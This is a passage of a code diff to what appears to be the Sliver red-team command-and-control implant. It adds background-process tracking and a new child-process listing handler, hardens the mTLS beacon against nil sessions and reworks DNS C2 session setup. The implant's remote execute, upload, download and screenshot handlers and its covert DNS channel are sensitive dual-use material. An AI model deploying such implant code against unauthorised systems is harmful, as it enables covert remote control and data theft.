||||||
|
stdoutFile, err = os.Create(stdoutPath)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
cmd.Stdout = stdoutFile
|
||||||
|
}
|
||||||
|
if stderrPath != "" {
|
||||||
|
stderrFile, err = os.Create(stderrPath)
|
||||||
|
if err != nil {
|
||||||
|
if stdoutFile != nil {
|
||||||
|
stdoutFile.Close()
|
||||||
|
}
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
cmd.Stderr = stderrFile
|
||||||
|
}
|
||||||
|
|
||||||
|
err = cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
if stdoutFile != nil {
|
||||||
|
stdoutFile.Close()
|
||||||
|
}
|
||||||
|
if stderrFile != nil {
|
||||||
|
stderrFile.Close()
|
||||||
|
}
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var pid int32
|
||||||
|
if cmd.Process != nil {
|
||||||
|
pid = int32(cmd.Process.Pid)
|
||||||
|
}
|
||||||
|
|
||||||
|
if track && pid != 0 {
|
||||||
|
entry := &executeChildEntry{
|
||||||
|
PID: pid,
|
||||||
|
Path: path,
|
||||||
|
Args: append([]string(nil), args...),
|
||||||
|
Stdout: stdoutPath,
|
||||||
|
Stderr: stderrPath,
|
||||||
|
StartTime: startTime,
|
||||||
|
cmd: cmd,
|
||||||
|
}
|
||||||
|
executeChildrenMu.Lock()
|
||||||
|
trackedExecuteChildren[pid] = entry
|
||||||
|
trimTrackedExecuteChildrenLocked()
|
||||||
|
executeChildrenMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
|
||||||
|
waitErr := cmd.Wait()
|
||||||
|
|
||||||
|
exitCode := int32(0)
|
||||||
|
waitErrStr := ""
|
||||||
|
if waitErr != nil {
|
||||||
|
if exitErr, ok := waitErr.(*exec.ExitError); ok {
|
||||||
|
exitCode = int32(exitErr.ExitCode())
|
||||||
|
} else {
|
||||||
|
exitCode = -1
|
||||||
|
waitErrStr = waitErr.Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if track && pid != 0 {
|
||||||
|
executeChildrenMu.Lock()
|
||||||
|
entry := trackedExecuteChildren[pid]
|
||||||
|
if entry != nil {
|
||||||
|
entry.Exited = true
|
||||||
|
entry.ExitCode = exitCode
|
||||||
|
entry.ExitTime = time.Now().Unix()
|
||||||
|
entry.Error = waitErrStr
|
||||||
|
entry.cmd = nil
|
||||||
|
}
|
||||||
|
executeChildrenMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
if stdoutFile != nil {
|
||||||
|
stdoutFile.Close()
|
||||||
|
}
|
||||||
|
if stderrFile != nil {
|
||||||
|
stderrFile.Close()
|
||||||
|
}
|
||||||
|
}(pid, cmd, stdoutFile, stderrFile, track)
|
||||||
|
|
||||||
|
return pid, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
|
||||||
|
executeChildrenMu.RLock()
|
||||||
|
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
|
||||||
|
for _, entry := range trackedExecuteChildren {
|
||||||
|
children = append(children, &sliverpb.ExecuteChild{
|
||||||
|
Pid: entry.PID,
|
||||||
|
Path: entry.Path,
|
||||||
|
Args: append([]string(nil), entry.Args...),
|
||||||
|
StartTime: entry.StartTime,
|
||||||
|
Exited: entry.Exited,
|
||||||
|
ExitCode: entry.ExitCode,
|
||||||
|
ExitTime: entry.ExitTime,
|
||||||
|
Stdout: entry.Stdout,
|
||||||
|
Stderr: entry.Stderr,
|
||||||
|
Error: entry.Error,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
executeChildrenMu.RUnlock()
|
||||||
|
|
||||||
|
sort.Slice(children, func(i, j int) bool {
|
||||||
|
return children[i].StartTime < children[j].StartTime
|
||||||
|
})
|
||||||
|
return children
|
||||||
|
}
|
||||||
|
|
||||||
|
func executeChildrenHandler(data []byte, resp RPCResponse) {
|
||||||
|
req := &sliverpb.ExecuteChildrenReq{}
|
||||||
|
err := proto.Unmarshal(data, req)
|
||||||
|
if err != nil {
|
||||||
|
// {{if .Config.Debug}}
|
||||||
|
log.Printf("error decoding message: %v", err)
|
||||||
|
// {{end}}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
execChildren := &sliverpb.ExecuteChildren{
|
||||||
|
Children: snapshotExecuteChildren(),
|
||||||
|
Response: &commonpb.Response{},
|
||||||
|
}
|
||||||
|
data, err = proto.Marshal(execChildren)
|
||||||
|
resp(data, err)
|
||||||
|
}
|
||||||
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if execReq.Output {
|
if execReq.Output && !execReq.Background {
|
||||||
stdOutBuff := new(bytes.Buffer)
|
stdOutBuff := new(bytes.Buffer)
|
||||||
stdErrBuff := new(bytes.Buffer)
|
stdErrBuff := new(bytes.Buffer)
|
||||||
stdErr = stdErrBuff
|
stdErr = stdErrBuff
|
||||||
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
|
|||||||
execResp.Pid = uint32(cmd.Process.Pid)
|
execResp.Pid = uint32(cmd.Process.Pid)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
err = cmd.Start()
|
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||||
if err != nil {
|
if startErr != nil {
|
||||||
execResp.Response = &commonpb.Response{
|
execResp.Response = &commonpb.Response{
|
||||||
Err: fmt.Sprintf("%s", err),
|
Err: fmt.Sprintf("%s", startErr),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if pid != 0 {
|
||||||
go func() {
|
execResp.Pid = uint32(pid)
|
||||||
cmd.Wait()
|
|
||||||
}()
|
|
||||||
|
|
||||||
if cmd.Process != nil {
|
|
||||||
execResp.Pid = uint32(cmd.Process.Pid)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
data, err = proto.Marshal(execResp)
|
data, err = proto.Marshal(execResp)
|
||||||
|
|||||||
@@ -33,25 +33,26 @@ import (
|
|||||||
|
|
||||||
var (
|
var (
|
||||||
darwinHandlers = map[uint32]RPCHandler{
|
darwinHandlers = map[uint32]RPCHandler{
|
||||||
pb.MsgPsReq: psHandler,
|
pb.MsgPsReq: psHandler,
|
||||||
pb.MsgTerminateReq: terminateHandler,
|
pb.MsgTerminateReq: terminateHandler,
|
||||||
pb.MsgPing: pingHandler,
|
pb.MsgPing: pingHandler,
|
||||||
pb.MsgLsReq: dirListHandler,
|
pb.MsgLsReq: dirListHandler,
|
||||||
pb.MsgDownloadReq: downloadHandler,
|
pb.MsgDownloadReq: downloadHandler,
|
||||||
pb.MsgUploadReq: uploadHandler,
|
pb.MsgUploadReq: uploadHandler,
|
||||||
pb.MsgCdReq: cdHandler,
|
pb.MsgCdReq: cdHandler,
|
||||||
pb.MsgPwdReq: pwdHandler,
|
pb.MsgPwdReq: pwdHandler,
|
||||||
pb.MsgRmReq: rmHandler,
|
pb.MsgRmReq: rmHandler,
|
||||||
pb.MsgMkdirReq: mkdirHandler,
|
pb.MsgMkdirReq: mkdirHandler,
|
||||||
pb.MsgMvReq: mvHandler,
|
pb.MsgMvReq: mvHandler,
|
||||||
pb.MsgCpReq: cpHandler,
|
pb.MsgCpReq: cpHandler,
|
||||||
pb.MsgIfconfigReq: ifconfigHandler,
|
pb.MsgIfconfigReq: ifconfigHandler,
|
||||||
pb.MsgExecuteReq: executeHandler,
|
pb.MsgExecuteReq: executeHandler,
|
||||||
pb.MsgEnvReq: getEnvHandler,
|
pb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||||
pb.MsgSetEnvReq: setEnvHandler,
|
pb.MsgEnvReq: getEnvHandler,
|
||||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
pb.MsgSetEnvReq: setEnvHandler,
|
||||||
pb.MsgChtimesReq: chtimesHandler,
|
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||||
pb.MsgGrepReq: grepHandler,
|
pb.MsgChtimesReq: chtimesHandler,
|
||||||
|
pb.MsgGrepReq: grepHandler,
|
||||||
|
|
||||||
pb.MsgScreenshotReq: screenshotHandler,
|
pb.MsgScreenshotReq: screenshotHandler,
|
||||||
pb.MsgNetstatReq: netstatHandler,
|
pb.MsgNetstatReq: netstatHandler,
|
||||||
|
|||||||
@@ -34,23 +34,24 @@ import (
|
|||||||
|
|
||||||
var (
|
var (
|
||||||
genericHandlers = map[uint32]RPCHandler{
|
genericHandlers = map[uint32]RPCHandler{
|
||||||
sliverpb.MsgPing: pingHandler,
|
sliverpb.MsgPing: pingHandler,
|
||||||
sliverpb.MsgLsReq: dirListHandler,
|
sliverpb.MsgLsReq: dirListHandler,
|
||||||
sliverpb.MsgDownloadReq: downloadHandler,
|
sliverpb.MsgDownloadReq: downloadHandler,
|
||||||
sliverpb.MsgUploadReq: uploadHandler,
|
sliverpb.MsgUploadReq: uploadHandler,
|
||||||
sliverpb.MsgCdReq: cdHandler,
|
sliverpb.MsgCdReq: cdHandler,
|
||||||
sliverpb.MsgPwdReq: pwdHandler,
|
sliverpb.MsgPwdReq: pwdHandler,
|
||||||
sliverpb.MsgRmReq: rmHandler,
|
sliverpb.MsgRmReq: rmHandler,
|
||||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||||
sliverpb.MsgMvReq: mvHandler,
|
sliverpb.MsgMvReq: mvHandler,
|
||||||
sliverpb.MsgCpReq: cpHandler,
|
sliverpb.MsgCpReq: cpHandler,
|
||||||
sliverpb.MsgExecuteReq: executeHandler,
|
sliverpb.MsgExecuteReq: executeHandler,
|
||||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||||
sliverpb.MsgEnvReq: getEnvHandler,
|
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
sliverpb.MsgEnvReq: getEnvHandler,
|
||||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||||
sliverpb.MsgGrepReq: grepHandler,
|
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||||
|
sliverpb.MsgGrepReq: grepHandler,
|
||||||
|
|
||||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||||
|
|||||||
@@ -45,24 +45,25 @@ import (
|
|||||||
|
|
||||||
var (
|
var (
|
||||||
linuxHandlers = map[uint32]RPCHandler{
|
linuxHandlers = map[uint32]RPCHandler{
|
||||||
sliverpb.MsgPsReq: psHandler,
|
sliverpb.MsgPsReq: psHandler,
|
||||||
sliverpb.MsgTerminateReq: terminateHandler,
|
sliverpb.MsgTerminateReq: terminateHandler,
|
||||||
sliverpb.MsgPing: pingHandler,
|
sliverpb.MsgPing: pingHandler,
|
||||||
sliverpb.MsgLsReq: dirListHandler,
|
sliverpb.MsgLsReq: dirListHandler,
|
||||||
sliverpb.MsgDownloadReq: downloadHandler,
|
sliverpb.MsgDownloadReq: downloadHandler,
|
||||||
sliverpb.MsgUploadReq: uploadHandler,
|
sliverpb.MsgUploadReq: uploadHandler,
|
||||||
sliverpb.MsgCdReq: cdHandler,
|
sliverpb.MsgCdReq: cdHandler,
|
||||||
sliverpb.MsgPwdReq: pwdHandler,
|
sliverpb.MsgPwdReq: pwdHandler,
|
||||||
sliverpb.MsgRmReq: rmHandler,
|
sliverpb.MsgRmReq: rmHandler,
|
||||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||||
sliverpb.MsgMvReq: mvHandler,
|
sliverpb.MsgMvReq: mvHandler,
|
||||||
sliverpb.MsgCpReq: cpHandler,
|
sliverpb.MsgCpReq: cpHandler,
|
||||||
sliverpb.MsgTaskReq: taskHandler,
|
sliverpb.MsgTaskReq: taskHandler,
|
||||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||||
sliverpb.MsgExecuteReq: executeHandler,
|
sliverpb.MsgExecuteReq: executeHandler,
|
||||||
sliverpb.MsgEnvReq: getEnvHandler,
|
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
sliverpb.MsgEnvReq: getEnvHandler,
|
||||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||||
|
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||||
|
|
||||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||||
|
|
||||||
|
|||||||
@@ -96,21 +96,22 @@ var (
|
|||||||
sliverpb.MsgMountReq: mountHandler,
|
sliverpb.MsgMountReq: mountHandler,
|
||||||
|
|
||||||
// Generic
|
// Generic
|
||||||
sliverpb.MsgPing: pingHandler,
|
sliverpb.MsgPing: pingHandler,
|
||||||
sliverpb.MsgLsReq: dirListHandler,
|
sliverpb.MsgLsReq: dirListHandler,
|
||||||
sliverpb.MsgDownloadReq: downloadHandler,
|
sliverpb.MsgDownloadReq: downloadHandler,
|
||||||
sliverpb.MsgUploadReq: uploadHandler,
|
sliverpb.MsgUploadReq: uploadHandler,
|
||||||
sliverpb.MsgCdReq: cdHandler,
|
sliverpb.MsgCdReq: cdHandler,
|
||||||
sliverpb.MsgPwdReq: pwdHandler,
|
sliverpb.MsgPwdReq: pwdHandler,
|
||||||
sliverpb.MsgRmReq: rmHandler,
|
sliverpb.MsgRmReq: rmHandler,
|
||||||
sliverpb.MsgMvReq: mvHandler,
|
sliverpb.MsgMvReq: mvHandler,
|
||||||
sliverpb.MsgCpReq: cpHandler,
|
sliverpb.MsgCpReq: cpHandler,
|
||||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||||
sliverpb.MsgExecuteReq: executeHandler,
|
sliverpb.MsgExecuteReq: executeHandler,
|
||||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||||
sliverpb.MsgGrepReq: grepHandler,
|
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||||
|
sliverpb.MsgGrepReq: grepHandler,
|
||||||
|
|
||||||
// Extensions
|
// Extensions
|
||||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||||
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if execReq.Output {
|
if execReq.Output && !execReq.Background {
|
||||||
stdOutBuff := new(bytes.Buffer)
|
stdOutBuff := new(bytes.Buffer)
|
||||||
stdErrBuff := new(bytes.Buffer)
|
stdErrBuff := new(bytes.Buffer)
|
||||||
stdErr = stdErrBuff
|
stdErr = stdErrBuff
|
||||||
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
|||||||
}
|
}
|
||||||
execResp.Stderr = stdErrBuff.Bytes()
|
execResp.Stderr = stdErrBuff.Bytes()
|
||||||
execResp.Stdout = stdOutBuff.Bytes()
|
execResp.Stdout = stdOutBuff.Bytes()
|
||||||
|
if cmd.Process != nil {
|
||||||
|
execResp.Pid = uint32(cmd.Process.Pid)
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
err = cmd.Start()
|
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||||
if err != nil {
|
if startErr != nil {
|
||||||
execResp.Response = &commonpb.Response{
|
execResp.Response = &commonpb.Response{
|
||||||
Err: fmt.Sprintf("%s", err),
|
Err: fmt.Sprintf("%s", startErr),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if pid != 0 {
|
||||||
|
execResp.Pid = uint32(pid)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
data, err = proto.Marshal(execResp)
|
data, err = proto.Marshal(execResp)
|
||||||
resp(data, err)
|
resp(data, err)
|
||||||
|
|||||||
@@ -37,6 +37,8 @@ import (
|
|||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||||
|
"errors"
|
||||||
|
|
||||||
"github.com/hashicorp/yamux"
|
"github.com/hashicorp/yamux"
|
||||||
|
|
||||||
// {{end}}
|
// {{end}}
|
||||||
@@ -46,7 +48,6 @@ import (
|
|||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
// {{if .Config.IncludeWG}}
|
// {{if .Config.IncludeWG}}
|
||||||
"errors"
|
|
||||||
"net"
|
"net"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||||
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
if conn == nil {
|
||||||
|
return errors.New("[mtls] connect returned nil conn")
|
||||||
|
}
|
||||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
return err
|
return err
|
||||||
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
|||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
if muxSession == nil {
|
||||||
|
_ = conn.Close()
|
||||||
|
return errors.New("[mtls] failed to create yamux session (nil)")
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
},
|
},
|
||||||
Recv: func() (*pb.Envelope, error) {
|
Recv: func() (*pb.Envelope, error) {
|
||||||
|
if muxSession == nil {
|
||||||
|
return nil, errors.New("[mtls] recv called with nil yamux session")
|
||||||
|
}
|
||||||
stream, err := muxSession.Accept()
|
stream, err := muxSession.Accept()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
if isNilInterface(stream) {
|
||||||
|
return nil, errors.New("[mtls] accept returned nil stream")
|
||||||
|
}
|
||||||
defer stream.Close()
|
defer stream.Close()
|
||||||
return mtls.ReadEnvelope(stream)
|
return mtls.ReadEnvelope(stream)
|
||||||
},
|
},
|
||||||
Send: func(envelope *pb.Envelope) error {
|
Send: func(envelope *pb.Envelope) error {
|
||||||
|
if envelope == nil {
|
||||||
|
return errors.New("[mtls] nil envelope")
|
||||||
|
}
|
||||||
|
if muxSession == nil {
|
||||||
|
return errors.New("[mtls] send called with nil yamux session")
|
||||||
|
}
|
||||||
stream, err := muxSession.Open()
|
stream, err := muxSession.Open()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
if isNilInterface(stream) {
|
||||||
|
return errors.New("[mtls] open returned nil stream")
|
||||||
|
}
|
||||||
defer stream.Close()
|
defer stream.Close()
|
||||||
return mtls.WriteEnvelope(stream, envelope)
|
return mtls.WriteEnvelope(stream, envelope)
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -46,6 +46,7 @@ import (
|
|||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"errors"
|
"errors"
|
||||||
"hash/crc32"
|
"hash/crc32"
|
||||||
|
"net"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
|
|||||||
}
|
}
|
||||||
s.resolvers = []DNSResolver{}
|
s.resolvers = []DNSResolver{}
|
||||||
for _, server := range s.resolvConf.Servers {
|
for _, server := range s.resolvConf.Servers {
|
||||||
|
address, port := splitResolverAddress(server, s.resolvConf.Port)
|
||||||
s.resolvers = append(s.resolvers,
|
s.resolvers = append(s.resolvers,
|
||||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
|
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
|
||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
err = s.getDNSSessionID() // Get a 'dns session id'
|
// Generate a random session ID locally. The server will only allocate state
|
||||||
if err != nil {
|
// after a successful INIT, which avoids an unauthenticated session bootstrap.
|
||||||
return err
|
if s.dnsSessionID == 0 {
|
||||||
}
|
sid, err := s.randomDNSSessionID()
|
||||||
s.fingerprintResolvers() // Fingerprint the resolvers
|
if err != nil {
|
||||||
if len(s.resolvers) < 1 {
|
return err
|
||||||
// {{if .Config.Debug}}
|
}
|
||||||
log.Printf("[dns] no working resolvers!")
|
s.dnsSessionID = sid
|
||||||
// {{end}}
|
|
||||||
return errNoResolvers
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Key agreement with server
|
// Key agreement with server
|
||||||
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
|
|||||||
// {{end}}
|
// {{end}}
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
resolver, _ := s.randomResolver()
|
|
||||||
initMsg := &dnspb.DNSMessage{
|
initMsg := &dnspb.DNSMessage{
|
||||||
ID: s.nextMsgID(),
|
ID: s.nextMsgID(),
|
||||||
Type: dnspb.DNSMessageType_INIT,
|
Type: dnspb.DNSMessageType_INIT,
|
||||||
Size: uint32(len(initData)),
|
Size: uint32(len(initData)),
|
||||||
}
|
}
|
||||||
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
|
|
||||||
if err != nil {
|
|
||||||
// {{if .Config.Debug}}
|
|
||||||
log.Printf("[dns] init msg send failure %v", err)
|
|
||||||
// {{end}}
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(respData) < 1 {
|
var respData []byte
|
||||||
// {{if .Config.Debug}}
|
var initErr error
|
||||||
log.Printf("[dns] no data received in message")
|
for _, resolver := range s.resolvers {
|
||||||
// {{end}}
|
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
|
||||||
return ErrEmptyResponse
|
if initErr != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(respData) < 1 {
|
||||||
|
initErr = ErrEmptyResponse
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
data, err := s.cipherCtx.Decrypt(respData)
|
||||||
|
if err != nil {
|
||||||
|
initErr = err
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||||
|
initErr = errInvalidDNSSessionID
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
initErr = nil
|
||||||
|
break
|
||||||
}
|
}
|
||||||
|
if initErr != nil {
|
||||||
data, err := s.cipherCtx.Decrypt(respData)
|
|
||||||
if err != nil {
|
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
log.Printf("[dns] init msg decryption failure %v", err)
|
log.Printf("[dns] init msg send failure %v", initErr)
|
||||||
// {{end}}
|
// {{end}}
|
||||||
return err
|
return initErr
|
||||||
}
|
|
||||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
|
||||||
// {{if .Config.Debug}}
|
|
||||||
log.Printf("[dns] init msg dns session id mismatch")
|
|
||||||
// {{end}}
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Good to go!
|
// Good to go!
|
||||||
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
|
|||||||
log.Printf("[dns] key exchange was successful!")
|
log.Printf("[dns] key exchange was successful!")
|
||||||
// {{end}}
|
// {{end}}
|
||||||
|
|
||||||
|
// Now that we have a server-side session, benchmark/fingerprint resolvers and
|
||||||
|
// drop ones that error.
|
||||||
|
s.fingerprintResolvers()
|
||||||
|
if len(s.resolvers) < 1 {
|
||||||
|
// {{if .Config.Debug}}
|
||||||
|
log.Printf("[dns] no working resolvers!")
|
||||||
|
// {{end}}
|
||||||
|
return errNoResolvers
|
||||||
|
}
|
||||||
|
|
||||||
// {{if .Config.Debug}}
|
// {{if .Config.Debug}}
|
||||||
log.Printf("[dns] starting worker(s) ...")
|
log.Printf("[dns] starting worker(s) ...")
|
||||||
// {{end}}
|
// {{end}}
|
||||||
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
|||||||
return subdata, nil
|
return subdata, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SliverDNSClient) getDNSSessionID() error {
|
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
|
||||||
otpMsg, err := s.otpMsg()
|
// sessionID is 24-bit and must be non-zero.
|
||||||
if err != nil {
|
randBuf := make([]byte, 4)
|
||||||
return err
|
for {
|
||||||
}
|
_, err := rand.Read(randBuf)
|
||||||
otpDomain, err := s.joinSubdataToParent(otpMsg)
|
if err != nil {
|
||||||
if err != nil {
|
return 0, err
|
||||||
return err
|
}
|
||||||
}
|
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
|
||||||
// {{if .Config.Debug}}
|
if sid != 0 {
|
||||||
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
|
return sid, nil
|
||||||
// {{end}}
|
|
||||||
|
|
||||||
var a []byte
|
|
||||||
for _, resolver := range s.resolvers {
|
|
||||||
a, _, err = resolver.A(otpDomain)
|
|
||||||
if err == nil {
|
|
||||||
break
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if err != nil {
|
|
||||||
return err // All resolvers failed
|
|
||||||
}
|
|
||||||
if len(a) < 1 {
|
|
||||||
return errInvalidDNSSessionID
|
|
||||||
}
|
|
||||||
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
|
|
||||||
if s.dnsSessionID == 0 {
|
|
||||||
return errInvalidDNSSessionID
|
|
||||||
}
|
|
||||||
// {{if .Config.Debug}}
|
|
||||||
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
|
|
||||||
// {{end}}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SliverDNSClient) loadResolvConf() error {
|
func (s *SliverDNSClient) loadResolvConf() error {
|
||||||
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func splitResolverAddress(server string, defaultPort string) (string, string) {
|
||||||
|
server = strings.TrimSpace(server)
|
||||||
|
if server == "" {
|
||||||
|
return "", defaultPort
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
|
||||||
|
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
|
||||||
|
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
|
||||||
|
if host, port, err := net.SplitHostPort(server); err == nil {
|
||||||
|
return host, port
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
|
||||||
|
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
|
||||||
|
}
|
||||||
|
return server, defaultPort
|
||||||
|
}
|
||||||
|
|
||||||
// Joins subdata to the parent domain, you must have already done the math to
|
// Joins subdata to the parent domain, you must have already done the math to
|
||||||
// ensure the subdata can fit in the domain
|
// ensure the subdata can fit in the domain
|
||||||
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
|
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
|
||||||
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
|
|||||||
return string(msg), nil
|
return string(msg), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SliverDNSClient) otpMsg() (string, error) {
|
|
||||||
otpMsg := &dnspb.DNSMessage{
|
|
||||||
Type: dnspb.DNSMessageType_TOTP,
|
|
||||||
ID: uint32(0), // Take advantage of the variable length encoding
|
|
||||||
}
|
|
||||||
data, err := proto.Marshal(otpMsg)
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
